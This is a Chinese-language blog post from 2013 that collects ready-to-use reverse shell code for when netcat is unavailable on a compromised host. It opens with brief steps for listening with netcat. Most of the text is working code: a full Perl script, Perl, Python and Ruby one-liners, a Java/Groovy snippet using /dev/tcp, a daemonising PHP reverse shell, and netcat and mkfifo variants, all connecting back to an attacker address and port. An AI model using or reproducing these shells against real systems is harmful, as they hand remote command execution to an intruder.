2013年3月5日 星期二

Reverse Shell (Bash,Perl,Python,php,Ruby,Java)

有時被控端機器上沒有『NC』可用時,運用script language,同樣可達成將bash反連回主控端的目的

Step1: 先在控制端用NC Listen 一個 Port



接著在被控端執行該Shell connect back 程式


此時在控制端就可以看到從被控端送過來的Bash shell 了



程式原始碼(Perl):

#!/usr/bin/perl -w   
   
use strict;    
use Socket;    
use IO::Handle;    
   
if($#ARGV+1 != 2){    
print "$#ARGV $0 Remote_IP Remote_Port \n";    
exit 1;    
}    
   
my $remote_ip = $ARGV[0];    
my $remote_port = $ARGV[1];    
   
my $proto = getprotobyname("tcp");    
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));    
   
my $shell = '/bin/bash -i';    
   
socket(SOCK, AF_INET, SOCK_STREAM, $proto);    
   
STDOUT->autoflush(1);    
SOCK->autoflush(1);    
   
connect(SOCK,$pack_addr) or die "can not connect:$!";    
   
open STDIN, "<&SOCK";    
open STDOUT, ">&SOCK";    
open STDERR, ">&SOCK";    
   
print "Enjoy the shell.\n";    
   
system($shell);    
close SOCK;    
   
exit 0;

程式原始碼2(Perl):
perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


程式原始碼3(Python):
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


程式原始碼4(PHP):



<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {

// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0);
}

if (posix_setsid() == -1) {

printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;

} else {
printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}


chdir("/");


umask(0);


$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

$descriptorspec = array(

   0 => array("pipe", "r"), 
   1 => array("pipe", "w"),   
   2 => array("pipe", "w") 
  );

$process = proc_open($shell, $descriptorspec, $pipes);


if (!is_resource($process)) {

printit("ERROR: Can't spawn shell");
exit(1);
}

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");


while (1) {

if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}


if (feof($pipes[1])) {

printit("ERROR: Shell process terminated");
break;
}

$read_a = array($sock, $pipes[1], $pipes[2]);

$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

if (in_array($sock, $read_a)) {

if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}


if (in_array($pipes[1], $read_a)) {

if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

if (in_array($pipes[2], $read_a)) {

if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);

fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {

if (!$daemon) {
print "$string\n";
}
}

?>






程式原始碼5(Ruby):
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


程式原始碼6(Java):

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()




附註
NetCat:

nc -e /bin/sh 10.0.0.1 4444

If you have the wrong version of netcat installed, that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f

沒有留言:

張貼留言

用APNIC找出台灣所有的IP位址